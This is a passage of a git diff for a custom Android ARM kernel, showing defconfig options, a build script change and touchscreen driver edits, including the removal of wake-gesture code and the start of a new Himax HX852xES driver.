CONFIG_NLS_ISO8859_8 is not set +# CONFIG_NLS_CODEPAGE_1250 is not set +# CONFIG_NLS_CODEPAGE_1251 is not set +CONFIG_NLS_ASCII=y +CONFIG_NLS_ISO8859_1=y +# CONFIG_NLS_ISO8859_2 is not set +# CONFIG_NLS_ISO8859_3 is not set +# CONFIG_NLS_ISO8859_4 is not set +# CONFIG_NLS_ISO8859_5 is not set +# CONFIG_NLS_ISO8859_6 is not set +# CONFIG_NLS_ISO8859_7 is not set +# CONFIG_NLS_ISO8859_9 is not set +# CONFIG_NLS_ISO8859_13 is not set +# CONFIG_NLS_ISO8859_14 is not set +# CONFIG_NLS_ISO8859_15 is not set +# CONFIG_NLS_KOI8_R is not set +# CONFIG_NLS_KOI8_U is not set +# CONFIG_NLS_MAC_ROMAN is not set +# CONFIG_NLS_MAC_CELTIC is not set +# CONFIG_NLS_MAC_CENTEURO is not set +# CONFIG_NLS_MAC_CROATIAN is not set +# CONFIG_NLS_MAC_CYRILLIC is not set +# CONFIG_NLS_MAC_GAELIC is not set +# CONFIG_NLS_MAC_GREEK is not set +# CONFIG_NLS_MAC_ICELAND is not set +# CONFIG_NLS_MAC_INUIT is not set +# CONFIG_NLS_MAC_ROMANIAN is not set +# CONFIG_NLS_MAC_TURKISH is not set +# CONFIG_NLS_UTF8 is not set +# CONFIG_DLM is not set + +# +# Kernel hacking +# +CONFIG_PRINTK_TIME=y +CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4 +CONFIG_ENABLE_WARN_DEPRECATED=y +CONFIG_ENABLE_MUST_CHECK=y +CONFIG_FRAME_WARN=1024 +CONFIG_MAGIC_SYSRQ=y +# CONFIG_STRIP_ASM_SYMS is not set +# CONFIG_READABLE_ASM is not set +# CONFIG_UNUSED_SYMBOLS is not set +# CONFIG_PAGE_OWNER is not set +CONFIG_DEBUG_FS=y +# CONFIG_HEADERS_CHECK is not set +# CONFIG_DEBUG_SECTION_MISMATCH is not set +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_SHIRQ is not set +# CONFIG_LOCKUP_DETECTOR is not set +# CONFIG_PANIC_ON_OOPS is not set +CONFIG_PANIC_ON_OOPS_VALUE=0 +# CONFIG_PANIC_ON_RECURSIVE_FAULT is not set +# CONFIG_DETECT_HUNG_TASK is not set +# CONFIG_SCHED_DEBUG is not set +# CONFIG_PANIC_ON_RT_THROTTLING is not set +CONFIG_SCHEDSTATS=y +CONFIG_TIMER_STATS=y +# CONFIG_DEBUG_OBJECTS is not set +# CONFIG_SLUB_STATS is not set +CONFIG_HAVE_DEBUG_KMEMLEAK=y +# CONFIG_DEBUG_KMEMLEAK is not set +# CONFIG_DEBUG_PREEMPT is not set +# CONFIG_DEBUG_RT_MUTEXES is not set +# CONFIG_RT_MUTEX_TESTER is not set +# CONFIG_DEBUG_SPINLOCK is not set +# CONFIG_DEBUG_MUTEXES is not set +# CONFIG_DEBUG_LOCK_ALLOC is not set +# CONFIG_PROVE_LOCKING is not set +# CONFIG_LOCK_STAT is not set +# CONFIG_DEBUG_ATOMIC_SLEEP is not set +# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set +CONFIG_STACKTRACE=y +# CONFIG_DEBUG_STACK_USAGE is not set +# CONFIG_DEBUG_KOBJECT is not set +# CONFIG_DEBUG_HIGHMEM is not set +# CONFIG_DEBUG_BUGVERBOSE is not set +# CONFIG_DEBUG_INFO is not set +# CONFIG_DEBUG_VM is not set +# CONFIG_DEBUG_WRITECOUNT is not set +# CONFIG_DEBUG_MEMORY_INIT is not set +# CONFIG_DEBUG_LIST is not set +# CONFIG_TEST_LIST_SORT is not set +# CONFIG_DEBUG_SG is not set +# CONFIG_DEBUG_NOTIFIERS is not set +# CONFIG_DEBUG_CREDENTIALS is not set +# CONFIG_BOOT_PRINTK_DELAY is not set + +# +# RCU Debugging +# +# CONFIG_PROVE_RCU_DELAY is not set +# CONFIG_SPARSE_RCU_POINTER is not set +# CONFIG_RCU_TORTURE_TEST is not set +CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_CPU_STALL_VERBOSE=y +# CONFIG_RCU_CPU_STALL_INFO is not set +# CONFIG_RCU_TRACE is not set +# CONFIG_BACKTRACE_SELF_TEST is not set +# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set +# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set +# CONFIG_DEBUG_PER_CPU_MAPS is not set +# CONFIG_LKDTM is not set +# CONFIG_NOTIFIER_ERROR_INJECTION is not set +# CONFIG_FAULT_INJECTION is not set +# CONFIG_DEBUG_PAGEALLOC is not set +CONFIG_NOP_TRACER=y +CONFIG_HAVE_FUNCTION_TRACER=y +CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y +CONFIG_HAVE_DYNAMIC_FTRACE=y +CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y +CONFIG_HAVE_SYSCALL_TRACEPOINTS=y +CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_TRACE_CLOCK=y +CONFIG_RING_BUFFER=y +CONFIG_EVENT_TRACING=y +CONFIG_CONTEXT_SWITCH_TRACER=y +# CONFIG_MSM_RTB is not set +CONFIG_IPC_LOGGING=y +CONFIG_TRACING=y +CONFIG_GENERIC_TRACER=y +# CONFIG_TRACING_SUPPORT is not set +# CONFIG_DYNAMIC_DEBUG is not set +# CONFIG_OOPS_LOG_BUFFER is not set +# CONFIG_LOG_BUF_MAGIC is not set +# CONFIG_DMA_API_DEBUG is not set +# CONFIG_ATOMIC64_SELFTEST is not set +# CONFIG_PANIC_ON_DATA_CORRUPTION is not set +# CONFIG_SAMPLES is not set +CONFIG_HAVE_ARCH_KGDB=y +# CONFIG_KGDB is not set +# CONFIG_TEST_STRING_HELPERS is not set +# CONFIG_TEST_KSTRTOX is not set +# CONFIG_ARM_PTDUMP is not set +# CONFIG_STRICT_DEVMEM is not set +CONFIG_ARM_UNWIND=y +# CONFIG_DEBUG_USER is not set +# CONFIG_FORCE_PAGES is not set +# CONFIG_FREE_PAGES_RDONLY is not set +# CONFIG_DEBUG_LL is not set +CONFIG_DEBUG_LL_INCLUDE="mach/debug-macro.S" +CONFIG_UNCOMPRESS_INCLUDE="mach/uncompress.h" +# CONFIG_PID_IN_CONTEXTIDR is not set + +# +# Security options +# +CONFIG_KEYS=y +# CONFIG_ENCRYPTED_KEYS is not set +# CONFIG_KEYS_DEBUG_PROC_KEYS is not set +# CONFIG_SECURITY_DMESG_RESTRICT is not set +CONFIG_SECURITY_PERF_EVENTS_RESTRICT=y +CONFIG_SECURITY=y +# CONFIG_SECURITYFS is not set +CONFIG_SECURITY_NETWORK=y +# CONFIG_SECURITY_NETWORK_XFRM is not set +# CONFIG_SECURITY_PATH is not set +CONFIG_LSM_MMAP_MIN_ADDR=4096 +CONFIG_SECURITY_SELINUX=y +# CONFIG_SECURITY_SELINUX_BOOTPARAM is not set +# CONFIG_SECURITY_SELINUX_DISABLE is not set +CONFIG_SECURITY_SELINUX_DEVELOP=y +# CONFIG_SECURITY_SELINUX_ALWAYS_ENFORCE is not set +CONFIG_SECURITY_SELINUX_NEVER_ENFORCE=y +CONFIG_SECURITY_SELINUX_AVC_STATS=y +CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1 +# CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set +# CONFIG_SECURITY_SMACK is not set +# CONFIG_SECURITY_TOMOYO is not set +# CONFIG_SECURITY_APPARMOR is not set +# CONFIG_SECURITY_YAMA is not set +# CONFIG_IMA is not set +# CONFIG_EVM is not set +CONFIG_DEFAULT_SECURITY_SELINUX=y +# CONFIG_DEFAULT_SECURITY_DAC is not set +CONFIG_DEFAULT_SECURITY="selinux" +CONFIG_CRYPTO=y + +# +# Crypto core or helper +# +CONFIG_CRYPTO_ALGAPI=y +CONFIG_CRYPTO_ALGAPI2=y +CONFIG_CRYPTO_AEAD=y +CONFIG_CRYPTO_AEAD2=y +CONFIG_CRYPTO_BLKCIPHER=y +CONFIG_CRYPTO_BLKCIPHER2=y +CONFIG_CRYPTO_HASH=y +CONFIG_CRYPTO_HASH2=y +CONFIG_CRYPTO_RNG=y +CONFIG_CRYPTO_RNG2=y +CONFIG_CRYPTO_PCOMP2=y +CONFIG_CRYPTO_MANAGER=y +CONFIG_CRYPTO_MANAGER2=y +# CONFIG_CRYPTO_USER is not set +CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y +CONFIG_CRYPTO_GF128MUL=y +CONFIG_CRYPTO_NULL=y +# CONFIG_CRYPTO_PCRYPT is not set +CONFIG_CRYPTO_WORKQUEUE=y +CONFIG_CRYPTO_CRYPTD=y +CONFIG_CRYPTO_AUTHENC=y +CONFIG_CRYPTO_ABLK_HELPER=y + +# +# Authenticated Encryption with Associated Data +# +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +CONFIG_CRYPTO_SEQIV=y + +# +# Block modes +# +CONFIG_CRYPTO_CBC=y +CONFIG_CRYPTO_CTR=y +# CONFIG_CRYPTO_CTS is not set +CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_LRW is not set +# CONFIG_CRYPTO_PCBC is not set +CONFIG_CRYPTO_XTS=y + +# +# Hash modes +# +# CONFIG_CRYPTO_CMAC is not set +CONFIG_CRYPTO_HMAC=y +CONFIG_CRYPTO_XCBC=y +# CONFIG_CRYPTO_VMAC is not set + +# +# Digest +# +CONFIG_CRYPTO_CRC32C=y +CONFIG_CRYPTO_CRC32=y +# CONFIG_CRYPTO_GHASH is not set +CONFIG_CRYPTO_MD4=y +CONFIG_CRYPTO_MD5=y +# CONFIG_CRYPTO_MICHAEL_MIC is not set +# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_RMD160 is not set +# CONFIG_CRYPTO_RMD256 is not set +# CONFIG_CRYPTO_RMD320 is not set +CONFIG_CRYPTO_SHA1=y +CONFIG_CRYPTO_SHA1_ARM=y +CONFIG_CRYPTO_SHA1_ARM_NEON=y +CONFIG_CRYPTO_SHA256=y +CONFIG_CRYPTO_SHA512=y +CONFIG_CRYPTO_SHA512_ARM_NEON=y +# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_WP512 is not set + +# +# Ciphers +# +CONFIG_CRYPTO_AES=y +CONFIG_CRYPTO_AES_ARM=y +CONFIG_CRYPTO_AES_ARM_BS=y +# CONFIG_CRYPTO_ANUBIS is not set +CONFIG_CRYPTO_ARC4=y +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +CONFIG_CRYPTO_DES=y +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_KHAZAD is not set +# CONFIG_CRYPTO_SALSA20 is not set +# CONFIG_CRYPTO_SEED is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_TEA is not set +CONFIG_CRYPTO_TWOFISH=y +CONFIG_CRYPTO_TWOFISH_COMMON=y + +# +# Compression +# +CONFIG_CRYPTO_DEFLATE=y +# CONFIG_CRYPTO_ZLIB is not set +# CONFIG_CRYPTO_LZO is not set + +# +# Random Number Generation +# +CONFIG_CRYPTO_ANSI_CPRNG=y +# CONFIG_CRYPTO_USER_API_HASH is not set +# CONFIG_CRYPTO_USER_API_SKCIPHER is not set +CONFIG_CRYPTO_HW=y +CONFIG_CRYPTO_DEV_QCE50=y +# CONFIG_FIPS_ENABLE is not set +CONFIG_CRYPTO_DEV_QCRYPTO=y +CONFIG_CRYPTO_DEV_QCE=y +CONFIG_CRYPTO_DEV_QCEDEV=y +# CONFIG_CRYPTO_DEV_OTA_CRYPTO is not set +CONFIG_ASYMMETRIC_KEY_TYPE=y +CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y +CONFIG_PUBLIC_KEY_ALGO_RSA=y +CONFIG_X509_CERTIFICATE_PARSER=y +CONFIG_BINARY_PRINTF=y + +# +# Library routines +# +CONFIG_BITREVERSE=y +CONFIG_GENERIC_STRNCPY_FROM_USER=y +CONFIG_GENERIC_STRNLEN_USER=y +CONFIG_GENERIC_PCI_IOMAP=y +CONFIG_GENERIC_IO=y +CONFIG_CRC_CCITT=y +CONFIG_CRC16=y +# CONFIG_CRC_T10DIF is not set +# CONFIG_CRC_ITU_T is not set +CONFIG_CRC32=y +# CONFIG_CRC32_SELFTEST is not set +CONFIG_CRC32_SLICEBY8=y +# CONFIG_CRC32_SLICEBY4 is not set +# CONFIG_CRC32_SARWATE is not set +# CONFIG_CRC32_BIT is not set +# CONFIG_CRC7 is not set +CONFIG_LIBCRC32C=y +# CONFIG_CRC8 is not set +CONFIG_AUDIT_GENERIC=y +# CONFIG_RANDOM32_SELFTEST is not set +CONFIG_ZLIB_INFLATE=y +CONFIG_ZLIB_DEFLATE=y +CONFIG_LZO_COMPRESS=y +CONFIG_LZO_DECOMPRESS=y +CONFIG_LZ4_COMPRESS=y +CONFIG_LZ4_DECOMPRESS=y +# CONFIG_XZ_DEC is not set +# CONFIG_XZ_DEC_BCJ is not set +CONFIG_DECOMPRESS_GZIP=y +CONFIG_DECOMPRESS_BZIP2=y +CONFIG_DECOMPRESS_LZMA=y +CONFIG_GENERIC_ALLOCATOR=y +CONFIG_REED_SOLOMON=y +CONFIG_REED_SOLOMON_ENC8=y +CONFIG_REED_SOLOMON_DEC8=y +CONFIG_TEXTSEARCH=y +CONFIG_TEXTSEARCH_KMP=y +CONFIG_TEXTSEARCH_BM=y +CONFIG_TEXTSEARCH_FSM=y +CONFIG_HAS_IOMEM=y +CONFIG_HAS_IOPORT_MAP=y +CONFIG_HAS_DMA=y +CONFIG_CPU_RMAP=y +CONFIG_DQL=y +CONFIG_NLATTR=y +CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y +# CONFIG_AVERAGE is not set +CONFIG_CLZ_TAB=y +# CONFIG_CORDIC is not set +# CONFIG_DDR is not set +CONFIG_MPILIB=y +CONFIG_LIBFDT=y +CONFIG_OID_REGISTRY=y +CONFIG_QMI_ENCDEC=y +# CONFIG_QMI_ENCDEC_DEBUG is not set +# CONFIG_VIRTUALIZATION is not set diff --git a/build.sh b/build.sh index 5bdc0acec84b7..ae40279158b53 100755 --- a/build.sh +++ b/build.sh @@ -30,7 +30,7 @@ export ARCH=arm export SUBARCH=arm export KBUILD_BUILD_USER="lolmaxlik" export KBUILD_BUILD_HOST="SmartRomTeam" -make zetsubou_crackling_defconfig +make zetsubou_peach_defconfig make zImage-dtb -j3 echo -e "$blue***********************************************" diff --git a/drivers/input/touchscreen/Kconfig b/drivers/input/touchscreen/Kconfig index eea5c4c7dd8f6..e0cdc07c06459 100755 --- a/drivers/input/touchscreen/Kconfig +++ b/drivers/input/touchscreen/Kconfig @@ -1160,7 +1160,16 @@ config TOUCHSCREEN_IT7260_I2C To compile this driver as a module, choose M here: the module will be called it7258_ts_i2c. -config WAKE_GESTURES - bool "wake gestures" +config TOUCHSCREEN_HIMAX_HX852xES + bool "Himax touchpanel HX852xES series" + depends on I2C + help + Say Y here if you have a Himax HX852xES touchscreen. + HX852xES controllers are multi touch controllers which can + report 10 touches at a time. + + If unsure, say N. + +source "drivers/input/touchscreen/hx852xes/Kconfig" endif diff --git a/drivers/input/touchscreen/Makefile b/drivers/input/touchscreen/Makefile index ad2c996d3c207..22e2c5dda8f07 100755 --- a/drivers/input/touchscreen/Makefile +++ b/drivers/input/touchscreen/Makefile @@ -90,14 +90,14 @@ obj-$(CONFIG_TOUCHSCREEN_GT9XX_YL) += gt9xx_yl/ obj-$(CONFIG_TOUCHSCREEN_BU21150) += bu21150.o obj-$(CONFIG_INPUT_MT_WRAPPER) += input_mt_wrapper.o obj-$(CONFIG_TOUCHSCREEN_IT7260_I2C) += it7258_ts_i2c.o +obj-$(CONFIG_TOUCHSCREEN_HIMAX_HX852xES) += hx852xes/ -# crackling touchscreen obj-$(CONFIG_TOUCHSCREEN_HIMAX852XES) += himax_852xES/ -obj-$(CONFIG_TOUCHSCREEN_HIMAX852XES) += lct_tp_fm_info.o -obj-$(CONFIG_TOUCHSCREEN_HIMAX852XES) += lct_ctp_selftest.o -obj-$(CONFIG_TOUCHSCREEN_HIMAX852XES) += lct_ctp_upgrade.o -obj-$(CONFIG_TOUCHSCREEN_HIMAX852XES) += lct_if_ctp_upgrade.o + +obj-$(CONFIG_MACH_LONGCHEER) += lct_tp_fm_info.o +obj-$(CONFIG_MACH_LONGCHEER) += lct_ctp_selftest.o +obj-$(CONFIG_MACH_LONGCHEER) += lct_ctp_upgrade.o +obj-$(CONFIG_MACH_LONGCHEER) += lct_if_ctp_upgrade.o obj-$(CONFIG_TOUCHSCREEN_MSG2XXX) += msg2xxx.o obj-$(CONFIG_MACH_YULONG) += touchscreen_yl.o -obj-$(CONFIG_WAKE_GESTURES) += wake_gestures.o diff --git a/drivers/input/touchscreen/ads7846.c b/drivers/input/touchscreen/ads7846.c index 9332e46b53ed3..84ccf140c1bb5 100644 --- a/drivers/input/touchscreen/ads7846.c +++ b/drivers/input/touchscreen/ads7846.c @@ -697,22 +697,18 @@ static int ads7846_no_filter(void *ads, int data_idx, int *val) static int ads7846_get_value(struct ads7846 *ts, struct spi_message *m) { - int value; struct spi_transfer *t = list_entry(m->transfers.prev, struct spi_transfer, transfer_list); if (ts->model == 7845) { - value = be16_to_cpup((__be16 *)&(((char *)t->rx_buf)[1])); + return be16_to_cpup((__be16 *)&(((char*)t->rx_buf)[1])) >> 3; } else { /* * adjust: on-wire is a must-ignore bit, a BE12 value, then * padding; built from two 8 bit values written msb-first. */ - value = be16_to_cpup((__be16 *)t->rx_buf); + return be16_to_cpup((__be16 *)t->rx_buf) >> 3; } - - /* enforce ADC output is 12 bits width */ - return (value >> 3) & 0xfff; } static void ads7846_update_value(struct spi_message *m, int val) diff --git a/drivers/input/touchscreen/ft5x06_ts.c b/drivers/input/touchscreen/ft5x06_ts.c old mode 100755 new mode 100644 index a615627104f0c..66d7eb4a5306b --- a/drivers/input/touchscreen/ft5x06_ts.c +++ b/drivers/input/touchscreen/ft5x06_ts.c @@ -31,7 +31,6 @@ #include #include #include -#include #if defined(CONFIG_FB) #include @@ -43,10 +42,6 @@ #define FT_SUSPEND_LEVEL 1 #endif -#ifdef CONFIG_WAKE_GESTURES -#include -#endif - #define FT_DRIVER_VERSION 0x02 #define FT_META_REGS 3 @@ -243,17 +238,6 @@ enum { #define FT_DEBUG_DIR_NAME "ts_debug" -#ifdef CONFIG_MACH_WT88047 -#define CTP_CHARGER_DETECT 0 -#endif - -#if CTP_CHARGER_DETECT -extern int power_supply_get_battery_charge_state(struct power_supply *psy); -struct power_supply *batt_psy; -static u8 is_charger_plug; -static u8 pre_charger_status; -#endif - struct ft5x06_ts_data { struct i2c_client *client; struct input_dev *input_dev; @@ -284,14 +268,6 @@ struct ft5x06_ts_data { struct pinctrl_state *pinctrl_state_release; }; -#ifdef CONFIG_WAKE_GESTURES -struct ft5x06_ts_data *ft5x06_ts = NULL; - -bool scr_suspended_ft(void) { - return ft5x06_ts->suspended; -} -#endif - static int ft5x06_ts_start(struct device *dev); static int ft5x06_ts_stop(struct device *dev); @@ -722,21 +698,6 @@ static irqreturn_t ft5x06_ts_interrupt(int irq, void *dev_id) return IRQ_HANDLED; } -#if CTP_CHARGER_DETECT - if (!batt_psy) { - pr_err("%s: tp interrupt battery supply not found\n", __func__); - batt_psy = power_supply_get_by_name("usb"); - } else { - is_charger_plug = (u8)power_supply_get_battery_charge_state(batt_psy); - pr_debug("%s: 1 is_charger_plug %d, prev %d", __func__, is_charger_plug, pre_charger_status); - if (is_charger_plug != pre_charger_status) { - pre_charger_status = is_charger_plug; - ft5x0x_write_reg(data->client, 0x8B, is_charger_plug); - pr_debug("%s: 2 is_charger_plug %d, prev %d", __func__, is_charger_plug, pre_charger_status); - } - } -#endif - ip_dev = data->input_dev; buf = data->tch_data; @@ -801,11 +762,6 @@ static irqreturn_t ft5x06_ts_interrupt(int irq, void *dev_id) if (!num_touches && !status && !id) break; -#ifdef CONFIG_WAKE_GESTURES - if (data->suspended) - x += 5000; -#endif - input_mt_slot(ip_dev, id); if (status == FT_TOUCH_DOWN || status == FT_TOUCH_CONTACT) { input_mt_report_slot_state(ip_dev, MT_TOOL_FINGER, 1); @@ -1107,17 +1063,6 @@ static int ft5x06_ts_start(struct device *dev) msleep(data->pdata->soft_rst_dly); enable_irq(data->client->irq); -#if CTP_CHARGER_DETECT - batt_psy = power_supply_get_by_name("usb"); - if (!batt_psy) { - pr_err("%s: tp resume battery supply not found\n", __func__); - } else { - is_charger_plug = (u8)power_supply_get_battery_charge_state(batt_psy); - pr_debug("%s: is_charger_plug %d, prev %d", __func__, is_charger_plug, pre_charger_status); - ft5x0x_write_reg(data->client, 0x8B, is_charger_plug); - } - pre_charger_status = is_charger_plug; -#endif data->suspended = false; return 0; @@ -1236,19 +1181,6 @@ static int ft5x06_ts_suspend(struct device *dev) return 0; } -#ifdef CONFIG_WAKE_GESTURES - if (device_may_wakeup(dev) && (s2w_switch || dt2w_switch)) { - ft5x0x_write_reg(data->client, 0xD0, 1); - err = enable_irq_wake(data->client->irq); - if (err) - dev_err(&data->client->dev, - "%s: set_irq_wake failed\n", __func__); - data->suspended = true; - - return err; - } -#endif - if (ft5x06_psensor_support_enabled() && data->pdata->psensor_support && device_may_wakeup(dev) && data->psensor_pdata->tp_psensor_opened) { @@ -1282,44 +1214,11 @@ static int ft5x06_ts_resume(struct device *dev) struct ft5x06_ts_data *data = dev_get_drvdata(dev); int err; -#ifdef CONFIG_WAKE_GESTURES - int i; -#endif if (!data->suspended) { dev_dbg(dev, "Already in awake state\n"); return 0; } -#ifdef CONFIG_WAKE_GESTURES - if (device_may_wakeup(dev) && (s2w_switch || dt2w_switch)) { - ft5x0x_write_reg(data->client, 0xD0, 0); - - for (i = 0; i < data->pdata->num_max_touches; i++) { - input_mt_slot(data->input_dev, i); - input_mt_report_slot_state(data->input_dev, MT_TOOL_FINGER, 0); - } - input_mt_report_pointer_emulation(data->input_dev, false); - input_sync(data->input_dev); - - err = disable_irq_wake(data->client->irq); - if (err) - dev_err(dev, "%s: disable_irq_wake failed\n", - __func__); - data->suspended = false; - - if (dt2w_switch_changed) { - dt2w_switch = dt2w_switch_temp; - dt2w_switch_changed = false; - } - if (s2w_switch_changed) { - s2w_switch = s2w_switch_temp; - s2w_switch_changed = false; - } - - return err; - } -#endif - if (ft5x06_psensor_support_enabled() && data->pdata->psensor_support && device_may_wakeup(dev) && data->psensor_pdata->tp_psensor_opened) { @@ -1387,7 +1286,6 @@ static int ft5x06_ts_resume(struct device *dev) #endif #if defined(CONFIG_FB) -static bool unblanked_once = false; static int fb_notifier_callback(struct notifier_block *self, unsigned long event, void *data) { @@ -1399,13 +1297,10 @@ static int fb_notifier_callback(struct notifier_block *self, if (evdata && evdata->data && event == FB_EVENT_BLANK && ft5x06_data && ft5x06_data->client) { blank = evdata->data; - if (*blank == FB_BLANK_UNBLANK) { - if (unblanked_once) - ft5x06_ts_resume(&ft5x06_data->client->dev); - } else if (*blank == FB_BLANK_POWERDOWN) { - unblanked_once = true; + if (*blank == FB_BLANK_UNBLANK) + ft5x06_ts_resume(&ft5x06_data->client->dev); + else if (*blank == FB_BLANK_POWERDOWN) ft5x06_ts_suspend(&ft5x06_data->client->dev); - } } return 0; @@ -2463,11 +2358,6 @@ static int ft5x06_ts_probe(struct i2c_client *client, } } -#ifdef CONFIG_WAKE_GESTURES - ft5x06_ts = data; - device_init_wakeup(&client->dev, 1); -#endif - err = device_create_file(&client->dev, &dev_attr_fw_name); if (err) { dev_err(&client->dev, "sys file creation failed\n"); @@ -2572,12 +2462,6 @@ static int ft5x06_ts_probe(struct i2c_client *client, register_early_suspend(&data->early_suspend); #endif -#if CTP_CHARGER_DETECT - batt_psy = power_supply_get_by_name("usb"); - if (!batt_psy) - pr_err("%s: tp battery supply not found\n", __func__); -#endif - return 0; free_debug_dir: diff --git a/drivers/input/touchscreen/gt9xx/goodix_tool.c b/drivers/input/touchscreen/gt9xx/goodix_tool.c index 8e202fc00dcde..bda898f40d128 100644 --- a/drivers/input/touchscreen/gt9xx/goodix_tool.c +++ b/drivers/input/touchscreen/gt9xx/goodix_tool.c @@ -307,10 +307,10 @@ static s32 fill_update_info(char __user *user_buf, Output: Return write length. ********************************************************/ -static s32 goodix_tool_write(struct file *filp, const char __user *userbuf, +static ssize_t goodix_tool_write(struct file *filp, const char __user *userbuf, size_t count, loff_t *ppos) { - s32 ret = 0; + ssize_t ret = 0; mutex_lock(&lock); ret = copy_from_user(&cmd_head, userbuf, CMD_HEAD_LENGTH); @@ -384,9 +384,9 @@ static s32 goodix_tool_write(struct file *filp, const char __user *userbuf, } if (cmd_head.data_len > sizeof(ic_type)) { - dev_err(>_client->dev, - "data len %d > data buff %d, rejected!\n", - cmd_head.data_len, sizeof(ic_type)); + /*dev_err(>_client->dev, + "data len %d > data buff %lu rejected!\n", + cmd_head.data_len, sizeof(ic_type));*/ ret = -EINVAL; goto exit; } @@ -432,7 +432,9 @@ static s32 goodix_tool_write(struct file *filp, const char __user *userbuf, } ret = CMD_HEAD_LENGTH; goto exit; - } else if (cmd_head.wr == GTP_RW_ENTER_UPDATE_MODE) { + } +#ifdef CONFIG_GT9XX_TOUCHPANEL_UPDATE + else if (cmd_head.wr == GTP_RW_ENTER_UPDATE_MODE) { /* Enter update mode! */ if (gup_enter_update_mode(gt_client) == FAIL) { ret = -EBUSY; @@ -460,6 +462,7 @@ static s32 goodix_tool_write(struct file *filp, const char __user *userbuf, goto exit; } } +#endif ret = CMD_HEAD_LENGTH; exit: @@ -475,11 +478,11 @@ static s32 goodix_tool_write(struct file *filp, const char __user *userbuf, Output: Return read length. ********************************************************/ -static s32 goodix_tool_read(struct file *file, char __user *user_buf, +static ssize_t goodix_tool_read(struct file *file, char __user *user_buf, size_t count, loff_t *ppos) { u16 data_len = 0; - s32 ret; + ssize_t ret; u8 buf[32]; mutex_lock(&lock); diff --git a/drivers/input/touchscreen/gt9xx/gt9xx.c b/drivers/input/touchscreen/gt9xx/gt9xx.c index 46dfeed0b2a57..bddfd6b64af6a 100644 --- a/drivers/input/touchscreen/gt9xx/gt9xx.c +++ b/drivers/input/touchscreen/gt9xx/gt9xx.c @@ -51,6 +51,7 @@ #include #include #include +#include #define GOODIX_DEV_NAME "Goodix-CTP" #define CFG_MAX_TOUCH_POINTS 5 @@ -962,9 +963,8 @@ static int gtp_init_panel(struct goodix_ts_data *ts) config_data[ts->gtp_cfg_len] = (~check_sum) + 1; } else { /* DRIVER NOT SEND CONFIG */ - ts->gtp_cfg_len = GTP_CONFIG_MAX_LENGTH; - ret = gtp_i2c_read(ts->client, config_data, - ts->gtp_cfg_len + GTP_ADDR_LENGTH); + ret = gtp_i2c_read_dbl_check(ts->client, GTP_REG_CONFIG_DATA, &opr_buf[2], sizeof(opr_buf)-4); + config_data = opr_buf; if (ret < 0) { dev_err(&client->dev, "Read Config Failed, Using DEFAULT Resolution & INT Trigger!\n"); @@ -1181,7 +1181,7 @@ static int gtp_request_irq(struct goodix_ts_data *ts) ret = request_threaded_irq(ts->client->irq, NULL, goodix_ts_irq_handler, - irq_table[ts->int_trigger_type], + irq_table[ts->int_trigger_type] | IRQF_ONESHOT, ts->client->name, ts); if (ret) { ts->use_irq = false; diff --git a/drivers/input/touchscreen/gt9xx/gt9xx.h b/drivers/input/touchscreen/gt9xx/gt9xx.h index 3cedf26f564d9..dcc52d7c505e8 100644 --- a/drivers/input/touchscreen/gt9xx/gt9xx.h +++ b/drivers/input/touchscreen/gt9xx/gt9xx.h @@ -59,7 +59,7 @@ struct goodix_ts_platform_data { bool force_update; bool i2c_pull_up; bool enable_power_off; - size_t config_data_len[GOODIX_MAX_CFG_GROUP]; + int config_data_len[GOODIX_MAX_CFG_GROUP]; u8 *config_data[GOODIX_MAX_CFG_GROUP]; u32 button_map[MAX_BUTTONS]; u8 num_button; diff --git a/drivers/input/touchscreen/hx852xes/Kconfig b/drivers/input/touchscreen/hx852xes/Kconfig new file mode 100644 index 0000000000000..11d92f9e23fee --- /dev/null +++ b/drivers/input/touchscreen/hx852xes/Kconfig @@ -0,0 +1,20 @@ +# +# Himax Touchscreen driver configuration +# + +config TOUCHSCREEN_HIMAX_I2C + tristate "HIMAX HX852xES serious i2c touchscreen" + depends on TOUCHSCREEN_HIMAX_HX852xES + help + This enables support for HIMAX HX852xES over I2C based touchscreens. + +config TOUCHSCREEN_HIMAX_DEBUG + tristate "HIMAX debug function" + depends on TOUCHSCREEN_HIMAX_I2C + help + This enables support for HIMAX debug function. +config HMX_DB + tristate "HIMAX driver test over Dragon Board" + depends on TOUCHSCREEN_HIMAX_I2C + help + This enables support for HIMAX driver test over Dragon Board. diff --git a/drivers/input/touchscreen/hx852xes/Makefile b/drivers/input/touchscreen/hx852xes/Makefile new file mode 100644 index 0000000000000..e899bc994576c --- /dev/null +++ b/drivers/input/touchscreen/hx852xes/Makefile @@ -0,0 +1,3 @@ +# Makefile for the Himax touchscreen drivers. + +obj-$(CONFIG_TOUCHSCREEN_HIMAX_I2C) += himax_platform.o himax_852xES.o diff --git a/drivers/input/touchscreen/hx852xes/himax_852xES.c b/drivers/input/touchscreen/hx852xes/himax_852xES.c new file mode 100644 index 0000000000000..b7069517d76cd --- /dev/null +++ b/drivers/input/touchscreen/hx852xes/himax_852xES.c @@ -0,0 +1,6892 @@ +/* Himax Android Driver Sample Code for HMX852xES chipset +* +* Copyright (C) 2014 Himax Corporation. +* +* This software is licensed under the terms of the GNU General Public +* License version 2, as published by the Free Software Foundation, 